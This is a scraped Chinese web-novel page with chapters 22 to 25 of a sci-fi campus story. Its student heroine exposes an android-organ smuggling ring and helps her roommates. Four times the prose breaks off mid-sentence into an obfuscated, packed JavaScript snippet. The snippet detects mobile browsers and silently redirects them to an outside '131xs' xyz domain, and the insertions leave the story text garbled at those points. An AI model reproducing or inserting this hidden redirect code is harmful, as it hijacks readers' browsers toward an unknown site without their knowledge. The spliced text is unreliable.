“意思是她的精神力还不错？” “也可能是身体不好，精神太敏感了吧。我精神力B+怎么就感受不到。” “这个……可能吧。” 助教迟疑地说，心里却得出一个相反的结论。 精神力可以简单理解为肌肉。测试仪的精神力探头可以理解为细小的注射针头。 感受到针头是一回事。 但问题是，这位学生把针头“弹”出去了。 就像肌肉注射的时候，肌肉绷紧，因为力量太强，把针挤出了身体。 这有点夸张了。 不对这太夸张了。 这名学生的精神力，应该……不会吧。 助教吞了一下口水。怎么可能呢？ 他在军队里都很少见到这个等级的精神力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623301|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陶影呆在玻璃舱里专心测试，对外面的对话一无所知。 她还在纠结体质的问题。 基因改造手术的预约就在下个月，术后恢复三个月到一年不等，恐怕会影响在校课程。 ……嗯，果然还是得提早做打算。 陶影一边想，一边又重新试了一次。 这次精神力仪器似乎主动调节了测试模式，陶影的精神力并没有对它太过排斥，很快就出了结果。 她走出测试舱的时候，大家都像看怪物一样看着她。 “……” 这个场景怎么似曾相识。 “她精神力多少……？” “S？” 安静了一瞬间后，同学们炸锅了。 “我还是第一次看见这个年纪精神力就有S的人！” “帝国第一军校都只要求精神力A呢。” 姬亦也凑上去。 “不错啊，我们学院很多年没有出现精神力S的学生了，”她拍拍陶影的肩膀，“你好像不太意外？” 陶影没太大的反应，她对自己的精神力心里有数。 “上次测试的时候是A，可能涨了点。” “涨了点？”学生惊呼。 “啧，好装啊姐们。A到S难如登天，这是随便涨涨就能行的？” “这里精神力A的都没有，断档了朋友。” “……” 这是一个专业选择的问题。 她原本想读的机甲系统专业——那里的平均精神力，都是A。 而且，上次测试是她十五岁时候的事情了，精神力本来就不是一成不变的，涨到S也很正常。 但陶影脑子里满是她的基因改造手术，最后只点点头：“是吧，很厉害。” 大家：“……”能不能谦虚一点。 林别歌似乎找好了课程队友，打算去吃饭，路过这边，发现气氛怪怪的。 她有点担心陶影被欺负，但又担心她问自己一些有的没的，犹豫一下，还是凑到陶影身边。 “你咋啦？他们为什么都这么看着你？” “不知道。你才是。中午吃饭为什么跑了不叫我？” “我，我就是太饿了，你别多想。”林别歌支支吾吾，转移了话题，“你该不会忘了组队的事情吧？” “倒是没忘。” 陶影也有找人组队来着，但是大家一看她的体质F，纷纷拒绝，偶尔有几个好奇她精神力的，也在知道她的体质之后拒绝了。 “抱歉，我们队需要的是能上场的人，不是理论家。” “你很聪明，但……机甲赛场不是靠脑子就能赢的。” “组队？你是要边吸氧边开机甲吗？” 陶影摊手：“暂时没有找到队友。” 林别歌目瞪口呆。 “那，那惨了，你这门课要怎么办？早知道就不该来做这个体质检测！” “测不测都一样。至于队友，没事，能找到。” “没事什么没事。”林别歌痛心疾首，当即表示要帮陶影找队友。 虽然陶影觉得不太现实，但既然小林同学主动提出要帮忙，那她当然也不会拒绝。 果然，哪怕以林别歌在学校的人脉，也没有帮陶影找到队友。大家大多是面露苦色地拒绝。 林别歌手脚比划：“她人很聪明的，不会划水！” “不，她这个体质，还不如划水。” “队友划水我都认了，但最起码不能拖后腿……” 一个星期过去，大部分学生都已经组好队，上交表格了，陶影的组队还毫无头绪。 林别歌表示尽力了，帮不上她的忙。 而没找到队友的陶影仿佛忘记了组队这回事，继续上课，没有受到一点影响。 23. 第 23 章 晚上，陶影翻了个身。 正好又撞见林别歌蹑手蹑脚地出门。 一片黑暗里，林别歌拼命想词：“……呃，那个，晚上好啊。” “晚上好，小林同学，现在是凌晨三点。你要去哪里？” 陶影伸手要去开灯，被林别歌一把按住。 林别歌声音有些惶急。 “别，别开。” 很明显，林别歌遇上了麻烦，但完全不打算告诉她。 沉默了一会儿，陶影收回手。 “好吧，既然你坚持不说的话，我尊重你的独立人格，不干涉你的决定。” 听见陶影这么说，林别歌松了一口气。 林别歌：“这件事情和你没有关系，我自己可以解决。它也不是什么大问题，就算真有问题，你也解决不了，所以你就别管我……” 林别歌一口气说了一长串，陶影那边却迟迟没反应。林别歌小心翼翼回头，结果陶影已经翻身睡着了。 “……” 倒也不必睡得如此快吧喂！ 也可以关心一下室友的啊！ · 林别歌的确遇上了大麻烦。 她在校外的咖啡店打工，不小心弄脏了一位客人的衣服，但那件衣服是限量款，实在太贵，就算卖了她也赔不起。 对方看出她的窘迫，突然提出一个条件，说让林别歌去他们公司打工还款。 是一家很有名的同城快递公司，叫欣欣快递，总部位置在H街区。 林别歌查过，是一家正规的快递公司，没找出什么可疑的地方，她正好很缺钱，就去了。 但工作一段时间之后，林别歌逐渐觉得不对劲。 因为她送的件，全是半夜发货，全是送到一个地方，而且包裹无一例外都是“生鲜”。 昨天她不小心摔破箱子，从碎裂的箱子，她好奇地看进去，里面竟然是一团跳动的肉。 是泡在保存液里的心脏！ 林别歌吓得要死，差点把东西扔了，飞奔把货送到之后，头也不回地冲到寝室。 但她走得太急，忘了最后一天的工资还没领，只能硬着头皮再去一次。 清晨，林别歌鬼鬼祟祟地来到“欣欣快递公司”二楼。 老板正在里面等着她。 林别歌：“我来拿昨天的工资。” “哦，当然，我们这里从来不拖欠工资。” 老板挺着啤酒肚，慢悠悠打开抽屉，从里面拿出一叠现金。 “看你之前打好几份工，应该挺缺钱的啊。昨天走那么急，连工资都不要了。不会是看到什么东西了吧？” 试探，这是明晃晃的试探！ 林别歌手心冒汗，突然后悔起今天过来的决定。 要不是因为缺钱…… 林别歌咽下口水：“没有啊。就是突然想起有门课的作业没完成，要赶着去完成。” “哦，这样。” 老板似乎是接受了这个解释，数了一叠现金给她。 “不过箱子被摔坏了，这部分的钱要从你工资里扣。” “好。”林别歌接过钱，但老板握得很紧，她使劲抽了一下才拿到手心。 “那我欠你的钱就还清了。”林别歌再也不想在这里多待一秒，拔腿就想走。 老板朝旁边使了个颜色，阴影中走出两个黑衣人，把林别歌按在了地上。 林别歌仰头：“你，你干什么？衣服的钱我已经赔了！” “衣服？哦——你说这个啊。”那老板把缝有奇怪花纹的外套脱下来，和蔼地盖在林别歌头上。 “这笔帐完了，还有另外一笔账。” 老板手里拿着圆珠笔，有规律地按动着。 “你把箱子摔坏了，看见里面的东西了吧？” “没有！我什么都没看见。” “这么激动？”那就是看见了。 老板朝黑衣人点点头，“拉去埋了吧。” 林别歌心中暗骂自己怎么这么容易就被试探，嘴上还在据理力争。 “我，我可是莱门大学的学生，如果我消失了，学校马上就会察觉，然后找到这里的！” “知道啊，莱门大学机甲特别学院嘛。林别歌，第四星系出身，母亲去世，父亲酗酒，从小就经常打你。你长大后，跟家里人几乎不怎么联络——” 老板慢慢说出林别歌的家世。 林别歌大吃一惊：“你，你怎么会知道？” “你以为打黑工，公司就不背调啊？” 林别歌：“……” 不要只在压榨员工的时候这么周全啊！缺德公司！ 老板向身边的黑衣人使了两个眼色，黑衣人心领神会，架着林别歌就走。 林别歌被那件外套盖着头，只能看到脚下。 她心里有些打鼓，他们要带她去哪里？ 眼见下了五楼，楼梯的灯光逐渐昏黄，林别歌越走越心惊。 铁门被沉重的老式大锁锁住。上面的锈像是血迹。门上的窗吹出来一股血腥的味道。 不会真要把她给埋了吧！ 林别歌大惊。 把她拖到铁门前，左边的黑衣人暂时放开了她，拿起钥匙开锁。 林别歌心想现在再不跑就跑不掉了，心一横，使出十八分的力气，推开黑衣人。 趁左边的黑衣男不备，狠狠踹了他一脚，就往楼上跑。 黑衣男明显很对得起他这份干坏事的职业，奔跑速度非常快，迅速追了上来。 林别歌气喘吁吁。 难不成她今天要命丧于此——！早知道就不一个人来了。应该先跟室友报备一下的。 林别歌膝盖一软，这时候，转角处突然伸出一只手，把她拉了过去。 林别歌下意识就要攻击，那人却预判了她的预判，绕过林别歌，挡在她前面。一声“砰”，黑衣男被那人手里的平板砸晕过去。 那人看黑衣人躺在地上，还不放心，蹲下身又给人补了一平板。 林别歌看清这人是谁，吃惊道：“影子？！你怎么会在这里？” 蹲着的人随即抬头，就看见林别歌还没来得及收回去的拳头。 陶影轻笑一声，打趣道：“你要谋杀我啊？我可挨不了你一拳头。” “你——” “别说了，先跟我来。”陶影止住林别歌的话，拉着她的手就往楼上跑。 另一个黑衣人很快追来，而且听声音，她们已经引起了这里巡逻人员的注意，有一大群人追来，想抓住她们。 她们像被猫围攻的老鼠一样无处可逃。跑到一半陶影没力气了，林别歌把她扛起来，像折叠屏幕一样卡在肩膀上。 陶影指挥林别歌来到二楼的一个房间。 她们锁上门，这才有喘口气的机会。 这里似乎是个正在使用的实验室，里面全是研究器材，还有泡着的仿生人器官。 暂时撇开快递公司里为什么会有实验室，林别歌问： “你，你怎么会在这儿？” “半夜睡不着，跟着你来的。这不重要，先想想怎么逃出去，”陶影半坐在地上，“我进来之前查了一下，这家公司不太干净。” 听了陶影的话，林别歌怵怵地看着实验台上用防腐液体泡着的器官。 “这些快递究竟是什么？人体器官？” “也算‘人’体吧。这些是高级仿生人的器官。” 林别歌表示疑惑。 “仿生人？人造的？那有什么好藏的，看他们凶神恶煞的样子，我还以为撞见了什么违法交易……” “是违法交易。高级仿生人用细胞培养，和人类成长的过程类似，也经过婴儿—幼儿—儿童—青少年阶段，只是最终会停止在青年期。” “什么？！那和人类有什么区别？” “高级仿生人没有大脑，都是由中央芯片控制。没有自我意识的人型生物算不算人类，伦理委员会还没吵出结论。” 陶影摊手。 “不过总之，因为伦理学问题，高级仿生人不允许在莱门销售。所以背地里走私产业还挺发达的。” “所以我前几天运的难道是……” “是他们的货物。不过不用担心，你什么都不知道，干的是合法工作。正好被骗来这里打工，你运气也真是背。” 陶影一边说，一边在平板上不知道敲着什么。报警器一直在响，门外传来脚步声。 “其它房间都查完了，那两个狗崽子肯定在这里！” 一群人踹开门，开始在实验室搜寻。 桌下，陶影和林别歌躲在趴在冰冷的水泥地上，看着两双鞋在面前走来走去。 林别歌屏住呼吸。 黑衣人开始挨个检查桌子底下，五步，四步，三步。 陶影似乎终于操作完，把平板收了起来。 “星警快到了，听到警报声你就往一楼跑。” “那你呢？” “我留在这里善后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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------------------------------ 发件人：ZHUCHI 发件地点：ALMH 收件单位：254号生物实验室 交付时间：星历1225年3月1日 ------------------------------ 生物货物明细： 编号：ALMH-01225-0203-7423 品类：心脏（双子型） 等级：A 目标用途：移植 ------------------------------ 陶影哗啦啦地翻着文件。 说是货物交付清单，其实就是器官走私清单。 记录里，器官编号大概有一千来个，什么人体零件都有，大部分器官的目标用途都是移植。 外面突然变得吵闹不已，有人朝楼上来了。 陶影安静地坐在椅子上，视线望向空无一物的角落。 她来这里，除了帮林别歌，还有另一个原因——她自己。 片刻后，陶影伸出左手手腕，撕下上面的仿生敷贴。 手腕内侧，凹凸不平地刻着ALMH-01220-0628-2234。 A，LM，H。分别是切斯特星A区，莱门市，H街区。 和文件上的发件地点相同，她这具身体的生产地点，就是这里。 估计因为器官质量太差，才被送至偏远星系废弃。 找出和这具身体有关的部分文件，销毁掉数据后，陶影耸耸肩，拍了几张照片，把文件和搜集来的一众证据整理好，放在一起，给星警发了个匿名短信。 随后就像在自己家闲逛一样，陶影手插在兜里，慢悠悠向楼下走去。 警笛声依旧响着。楼下聚集了一群星警，正在逐楼盘查。 陶影很累，现在只想休息，并不是很想和他们打上照面。 但大楼已经被封锁，避开他们是不可能的。 两分钟后，陶影脚步停在一扇门前。 推开门，淡淡的金属和消毒水味扑面而来。 泛着冷光的空间中，几百台仿生人齐刷刷转过头。 陶影靠在门边，慵懒地伸手打了个响指。 “帮个忙啦，朋友。” 24. 第 24 章 “封锁全楼，别让一个人出去！”星警的声音洪亮地响遍整个H街区。 顶楼房间，一名男子手速飞快地打开抽屉，把文件全部放进碎纸机里。 轰一声，纸片被高温瞬间烧成灰烬。 浅蓝色制服的星警一脚踹开门，端着枪，枪支的红点精准落在男子眉心。 “别动！”星警头戴战术目镜，低声冷喝。 男子显然没料到星警来得这么快，还没来得及反应，就被迅速制服。 星警端着枪，从另外两个房间走出：“AllClear。” “已控制住A924875案相关人员。” 头戴战术目镜的星警点点头，朝同伴发了通讯后，转头扫了一眼地上的文件。 星警掏出手铐，冷峻道：“包中通，你涉嫌非法培养并贩卖仿生人器官……” 包中通不满地挣动几下，但只是徒劳。 他仰头瞪视。 都怪那不知道从哪里冒出来的学生，他这批货全毁了！保安竟然没发现有人潜进来，不知道是在干什么，开了，统统开了！ 包中通非常愤怒，但转头一想，又安慰起自己来。 没关系，反正他刚刚已经把证据全销毁了，星警抓不了他。就算丢这一批货，用不了多久就挣回来了。 想到这里，包中通自信恢复，挺起胸。 他朝星警得意洋洋道：“你们有证据吗？没有证据可不能随便抓人，回头我就起诉你们！” 星警搜寻了一圈，显然没找到证据，面色都很难看。 包中通更得意了。 “快放了我！” 这时候一个实习星警小跑过来，附耳向持枪的星警说了什么。 实习星警递过来一沓纸。 星警拿起文件，举到包中通面前，让他看了个清楚。 包中通看到文件内容，惊呆了。 “货物清单”？他刚刚不是烧掉了吗？！ 这些文件是哪里来的？ 星警冷笑一声：“现在没话说了吧？走私清单全在这里了，老老实实配合调查吧。” 大楼外。 因为星警聚集，还有警用机甲在旁边坐镇，路过的群众很快围了起来。 “发生什么事情了？闹得还挺大，来了这么多星警。” “得是什么大案子吧。听说跟快递公司有关。” “欣欣快递公司？我经常用他家快递给朋友寄水果，挺好用的。出什么事了。” “可别用了，听说他们利用内部冷链，非法秘密运送人体器官。” “什么？！” 大家一时议论纷纷。 林别歌焦虑地挤在人群里，向建筑物内探头，看着里面的人一个一个被押出来。 但是楼都快清空了，陶影还没出来。 她没事吧？会不会被那些黑衣人抓住了？她体质又不好…… 林别歌脑中满是不好的想象，她手揪紧，心沉了沉。 要不要把这件事情告诉星警？ 影子刚才说，她们两个学生牵涉进这种事，要是被学校知道了，可能都会被处分，甚至退学。所以如果成功逃走，先不要求助星警。 但这件事情本来就和影子无关，她是为了救自己，才被卷进来。 片刻后，林别歌咬牙，豁出去了。 不能看着朋友出事。 大不了退学，但她必须把这件事情告诉星警！ 林别歌手握“KEEPOUT”的黄色警戒线，正要张嘴向星警求助，却被突如其来的一声“咚”吓了一跳。 “刚刚那是什么动静？” “好像是大楼里传来的声音。” “是星警和人打起来了？” “听着不像枪声。” 下一秒，那个声音更明显了。 “咚——咚——咚——” 规律的咚咚声和警笛声一起，形成了一种诡异的节奏。 地面传来细微的震动，楼面的灰尘沿着墙面坠落。机械零件摩擦的嘎吱声越来越近，越来越大。 随后，五名仿生人如同拥有自我意识般，从楼内走出。 他们拥有同样的动作，同样的表情，每一步都整齐划一，踩着同样冰冷的鼓点。 一开始只有五台，但立刻变成十台，然后是源源不断的仿生人从大门走出。 大家终于反应过来这是什么声音了。 脚步声。 几百台仿生人的脚步声。 由形状记忆合金铺设的道路中，空气仿佛也染上奇怪的电子病毒，不停播放着无尽重复的声音。 “你好，人类。” “你好？”“你好！” “你，你，你？好？人？类。” 仿生人面带微笑，头却动得非常僵硬，“喀哒”“喀哒”的卡顿声，就像卡住的指针。 它的每一个你字，都用着不同的声调，有的是成年女性，有的是老人，有的是小孩。 类人与非人之间那微妙的错位，让在场的所有人背后起鸡皮疙瘩。 直到最后一台仿生人也踩上地面，死亡一样的寂静才结束。 人群骚动起来。 “这些仿生人是怎么回事？谁在控制？！” “他们，他们不会有自我意识吧……” 星警努力维持着秩序，也焦头烂额。 他们在楼道内盘查的时候，在三楼突然遇见一大群仿生人，不知道从哪里冒出来的，“击毙”了几台，又冒出新的，简直没个头。 本来担心这群仿生人受恶意程序控制，但没想到它们并不攻击人。只是走来走去，不停以一种非常诡异的方式和人——打招呼。 大概是因为负责人被抓，这些仿生人失去控制，进入混乱状态了吧。 此刻，一名两米高的仿生人站在星警面前，弯下身，以小女孩的声线说着你好，强行要和她握手。 星警僵硬地伸出手。 混乱个屁，这明显是有人控制的。 要让她知道这些仿生人是谁控制的……那他就完蛋了！ 星警老大扶了一下战术目镜，叹气。 “总之先Call技术部吧。” 混乱中，林别歌正探头查看情况，身后突然被人一拍。 转头发现是陶影，林别歌惊喜得就要喊出声，陶影手指放在嘴唇上，轻轻“嘘”了一声。 “换个地方说话。” · F街区角落有家烘焙店，陶影推门进去就点了杯咖啡。 她转头问：“冰莱式，第二杯半价，喝吗？” 林别歌断然拒绝。 她喜欢甜的，一般喝拿铁还要放六泵糖浆，冰莱式闻上去苦苦的，她根本没有尝试的想法。 林别歌：“这东西很好喝吗，你为什么喝它像喝水一样。” “维持大脑清醒而已。” 玻璃橱窗的显示屏，正在现场直播。 几百台仿生人依然在H街区的地面游荡，见人就说你好。 记忆合金路面，又多了好几台黄色Geasy在巡逻。 主持人手握话筒，神色严肃。 【据悉，报警人将证据放在了一楼的狗窝内，星警判断，报警人极有可能是内部人员，目前还在搜索她的行踪……】 什么内部人员啊，她是被卷进来的好不好。 还好溜得快，不然又要被狠狠盘问。陶影手托着脸，淡淡地喝了一口咖啡。 随后苦着脸扯过一张纸巾擦嘴。 这家店的咖啡也太难喝了，下次不来了。 林别歌扒拉在桌面上，靠过来小声问： “你怎么做到的？” “做到什么？ “少装傻。你逃走的时候，正好那么多仿生人出现，别告诉我这是巧合。” 陶影叹了口气，放下手中的咖啡杯。一副被发现了，只能坦白的样子。 “没办法，看来是瞒不住你了。其实我是一个神秘组织的黑客，技术超级厉害。看到刚才那群仿生人了吧？我让他们动的。怎么样，走位和动作设计还不错吧？根据真实事件改编。” 林别歌：“……” 虽然逻辑上是合理的，但总有种被人当傻子忽悠的感觉。 想了一下，估计影子不想说实话，人有那么几个不想告诉别人的秘密也正常。林别歌也没深究。 她轻轻地撞了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633710|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶影的肩膀。 “总之谢谢啦，没有你，我都不知道今天该怎么办。” “不是免费帮你的，机甲课你得跟我组队。” 零帧起手啊，林别歌瞠目结舌：“我要是不同意呢？” “小林同学，偏远星系的学生，打工时间是有限制的，每天不能超过三个小时。要是学校知道了，会劝退你。” 林别歌：“……” “当然，要是你跟我组队，我们就是一条船上的人，我肯定帮你保密。” 陶影露出一个和善的笑容。 “但如果不的话……” “我们不是朋友吗？！” “当然，但只靠感情维持的关系太脆弱了，我们之间必须有点肮脏的利益牵扯。” 什么利益牵扯，这是威胁，明晃晃的威胁！ 刚才在大楼里林别歌就感觉到了，这人果然拆开了心眼全是黑的！ 林别歌你了半天，最后认命地放下了手指。 “算啦，我随便说说的，帮了我这么大一个忙，本来就打算跟你组队的。我是那么不讲义气的人吗？” “这么好骗？”陶影摸摸下巴，露出后悔的表情，“早知道就再多装一会儿好人了，不该这么早暴露本性的，失策。不过我还是很好奇，你在被他们骗之前，也一直在打工吧？打这么多份工做什么，欠钱了？” “这个……不太方便说。但不是欠钱。” 陶影仔细思索，这个年纪的学生通常因为什么花钱来着？ “我猜猜。买游戏？机甲零件？总不可能是在深雾网络上买违禁药物吧——这可不行，要是这个，我得重新考虑组队计划，机甲比赛可是有药检的。” “怎么可能！”眼见陶影猜得越来越离谱，越来越在违法的边缘试探，林别歌急忙摆手，“都不是啊，你别瞎猜。我就是……吃得太多了。” “……” 是未曾设想的答案，陶影皱起眉头。虽然以林别歌的体型和运动量，饭量确实不会小，但…… “你光吃东西需要一天打四份工？” “是啊。”林别歌哭丧着脸点点头。 “实不相瞒，我老家虽然在第四星系，但土地环境还可以，适合种地，靠向其他星系卖菜为生。所以大家都吃自己种的菜。” “我真的不习惯喝营养液。来切斯特星之后，这边的菜卖得既贵又不新鲜……我只能不停打工才能吃到正常饭菜。你知道吃对我来说有多重要吗！” 林别歌一说到吃，就非常激动，手脚并用，不停比划。 “理解了。” 切斯特星想吃纯天然食物很贵，对学生来说，确实经济压力挺大的。 陶影了然地点点头。 “行吧，我相信你。太晚了，寝室要锁门了，过了十一点要给管理楼栋的智能体打报告，很麻烦。先回去再说。” “哦，好……等等，你就这么信了？” 林别歌迷迷糊糊地跟着走了一会儿，突然反应过来不对。 刚刚这人不还是一副非常怀疑她的表情，怎么这么轻易就相信了她的说法。 林别歌思考片刻，恍然大悟地“啊”了一声。 “影子，你又耍花招骗我是不是，你根本就没怀疑过我嗑药！” 陶影眼睛都没眨一下，满脸无辜，显然不承认这个指控，径直向前走去，林别歌跟在她身后一蹦一跳，嘴里叽叽喳喳的，表示不满。 走着走着，陶影突然眼前一黑，扶住路边的电线杆。 林别歌看她也不像演的，翻了个白眼，蹲在她面前。 “哎真麻烦。算了，上来，我背你。” “哦？”陶影低头。 “你这什么眼神，我又不会把你拉去卖了。单纯看不过去帮你一把，我和你不一样，绝对不会威胁朋友。” 林别歌把人往背上一扛，像扛了个麻袋，慢吞吞朝宿舍走去，嘴里还继续碎碎念。 “真是，一天天的，身体那么弱，还八百个心眼子。难怪身体老是好不起来，脑子里全是算计，你阳光一点行不行。喂影子，你有没有在听我说话？” “没，我睡着了。” “——给我听人说话！” 25. 第 25 章 宿舍楼有光线的时候还好，晚上黑漆漆的很吓人。一层层爬着，像那种无限循环恐怖游戏。 不过陶影不相信什么鬼魂，所以只觉得很无聊。 宿舍的电梯依旧没有修好。 陶影趴在林别歌背上，打了个哈欠。 “林别歌，爬十四楼挺累的，我给你讲个故事吧。” “哦，你说。” “这所学校的宿舍楼有个传说。” 陶影的声音低沉下来。 “一名学生深夜回到宿舍楼，边刷手机边慢慢爬楼梯，她爬了很久，腿都酸了，抬头却发现自己在四楼。” “她觉得有点奇怪，但只当是自己玩手机太入神，没注意，就收起手机，继续往上爬。” “逐渐的，她发现不对。” “她一层层地往上爬，每一次抬头，每一次踏上新的一层，看见的始终都是四楼。” 正好走到四楼，陶影不说话了，林别歌身子一抖，颤巍巍侧过头。 林别歌：“然，然后呢。” “学生走了很久很久，她两腿发软，心跳得飞快，最后她终于发现，自己被困在了这个空间里。不管她往上，还是往下，最终到达的，永远都是四楼。她看着每爬一次就变得更幽深的楼道，吞了一口口水，最终决定，进入四楼的走廊。” “而就在跨入走廊的一瞬间，背后的门突然关上！学生疯了一样捶门，这时候，背后一道呼吸贴近——” 陶影凑近林别歌的后颈，就像有人在背后吐气。 林别歌差点吓得跳了起来。 陶影嘴角微翘：“你怕鬼啊？” “谁，谁怕了，你继续。” “好吧。” 陶影耸耸肩，继续讲故事。 “学生惊恐地转过身，发现背后没有人，而墙上挂着一面巨大的镜子。” “镜子里的她，背贴着门，慌不择路，满脸恐惧。” “但是下一刻，镜中的她静止了。” “不止如此，她露出诡异的微笑。” “然后，镜中人慢慢抬起手，那双手，爬上她的身体，圈住她的脖子——” “学生窒息着，只能活生生看着那双手，透过镜子越收越紧。” “——越收越紧。” 林别歌的身体逐渐僵硬。 一开始听着陶影的鬼故事，林别歌还能应和两句，但眼见故事越说越吓人，林别歌就不张嘴了，脚跟套了外骨骼似的，越走越快。 到最后一层的楼梯拐弯处，林别歌松了一口气——鬼故事结束了！没有永无止境的四楼！也没有女鬼！ 林别歌瘪嘴道：“下次有事别来帮我了，得还人情不说，一路上还得被你的鬼故事吓。” “那我下次当然还是会帮你的。” 陶影扑哧笑出声。 “至于鬼故事，没什么好怕的，活人比死人可怕多了。” 陶影凑到林别歌耳边。 “不过确实，虽然现在你背着的是我，但走着走着，说不定背上就是别人了，放在你脖子前的那双手其实是——” “喂！” “小林同学胆子这么小？”“那又怎样！” 陶影摸摸下巴：“没什么，把你怕鬼这件事纳入战术考量。” 林别歌匪夷所思。 这也能扯上战术？ “战场上还能有幽灵啊？” “谁知道呢，说不定放只女鬼在你背后，能激发你的战斗潜力。” 两人从楼梯到走廊，这个点大家都已经睡了，走廊一片昏暗，非常安静，但有一间宿舍还亮着。 宿舍门虚掩，里面透着点冷光。门上还有一堆粉色动漫美少女的水钻贴纸，林别歌贴的。 没错啊，1404，她们的宿舍。 但是门怎么开着？ “你没关门？”林别歌一脸疑惑，把陶影往背上提了两下。 “关了啊。”陶影面色也有些奇怪。 林别歌：“你少来，又吓我，这次不会上当了。” “这次真没吓你。” 陶影两脚刚落地，话还没来得及说完，小林腿往门缝一插，老旧失修的宿舍门吱呀一声打开。 凉风吹来。 陶影的视线自然而然落在窗台边。 一名女孩双腿悬空，就那样坐在窗台边缘，腿轻轻晃着，细弱的身体，一阵风仿佛就能把她吹下去。 纸一样苍白的皮肤，被清透的发丝遮住半张脸。 听见声音，女孩回过头来，猫一样的浅金色瞳孔看向这边，她眼睛睁得大大的，眼角还有残余的泪痕。 哦，有点像童话故事里的精灵。 陶影摸摸下巴。 林别歌颤抖着双手：“鬼鬼鬼，鬼啊！” “女鬼”坐在那里，似乎是被林别歌吓到了，往后退了一下，身体更是摇摇欲坠。 就要失去平衡时，陶影上前一把将“女鬼”拉住。 女孩紧紧抓住陶影的手臂，往屋内一倒，抱住了她。随后看了一眼窗外，似乎心有余悸。 看来不是想跳下去。 那还算好办。 陶影冷静地牵着女孩的手，看着她的眼睛，缓缓安抚道：“别怕，慢慢下来。” 女孩急促的呼吸逐渐冷静。 她点点头，就着陶影的手爬下来，然后蹲在地上，双手抱膝，浑身发抖。 陶影捏捏自己酸痛的手臂。 这女孩看上去轻飘飘的，手劲还怪大的。 林别歌这才反应过来，凶了两句：“怎么坐在这么危险的地方！你是谁，为什么在我们寝室？” 林别歌还想再说什么，但女孩应该是被她吓住了，张着嘴，一时说不出话来。 陶影摇头。 “你先让她缓缓。” 门是用钥匙打开的，床边还堆着没完全打开的行李，上面放着新生入学资料和ID卡。 这人不是什么女鬼，应该是她们宿舍那位一直没有出现的“神秘舍友三号”。 陶影戳了戳林别歌，眼神示意。 林别歌本来还懵懵懂懂的，经陶影这一提醒，突然就想起来了，没错，她们宿舍那个一直没有来报道的舍友，是叫什么……南瓜来着？ “南卦。” 对对对就是这个名。 行，她为什么出现在这里的问题解决了。 但是现在更重要的是，她没事大晚上坐窗台上干什么。 总不可能是想吹风吧。 陶影盯着空荡荡的窗台，思绪突然有些飘忽，好半天没说话，林别歌朝她投来莫名其妙的眼神。 “你突然神游天外干嘛？” 陶影眨眨眼，回神。 “没什么，想起我初恋了。” “你？初恋？你这么会算的人还能有这种纯情的时候？”林别歌一脸不可置信。 陶影一脸正经：“当然，我是个浪漫主义者。” “行吧，你说是就是。但是南卦同学的哪个点让你想起初恋了请问？” “嗯……”陶影仔细思索，认真分析，得出结论，“都很漂亮？” 身上还有种天真的破碎感。 “好了知道你初恋很漂亮了，”林别歌磨牙，“你倒是想想办法，她还在哭呢喂，眼泪珠子跟烧烤串似的。” 也是，小林同学一看就只擅长吃烧烤，不擅长哄人。 陶影心领神会，往前走了两步，但并没有太近，等南卦的情绪冷静下来，陶影才拿起她桌上被揉成一团的专业说明。 “你喜欢机甲文学？” · 开了话头就好进入正题了，在陶影的引导下，新舍友慢慢说明了她的情况。 南卦来自第三星系的一个小星球，一直以来的梦想是莱大的机甲文学专业。 南卦成绩还不错，所以虽然家里贫穷，也靠着奖学金，读到了高中。 她高兴地填好志愿，就等着来莱门上学，但在看到录取通知书的瞬间，她像被雷劈了一样。 志愿被她的监护人偷偷改了。 “莱门大学机甲特别学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642316|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院”？ 南卦哪里会开机甲？ 监护人理直气壮，说开机甲以后好回去就业，这是为了她好。 “你走了你弟弟谁来照顾？要是不想读，正好留下来照顾家里。或者找个人嫁了，我们可没钱给你出学费。”监护人一边哄着弟弟一边说。 完全没把改掉志愿当一回事。 南卦因为这个和监护人大吵一架，但既成事实更改不了。伤心难过几天后，她用攒了多年的存款买好船票，没有告诉任何人，拖着行李箱就来了莱门。 同时决绝地删掉了监护人所有的联系方式。 这算是她小小人生中做得最出格的一件事了。 那时候她还觉得，只要能离开第三星系，就算是自己不擅长的专业，也可以改变人生。 但来到莱门她才发现，莱大的机特学院就是一个三流学院。 所以就有了刚才的情况，她坐在窗台上，想吹点风冷静一下。 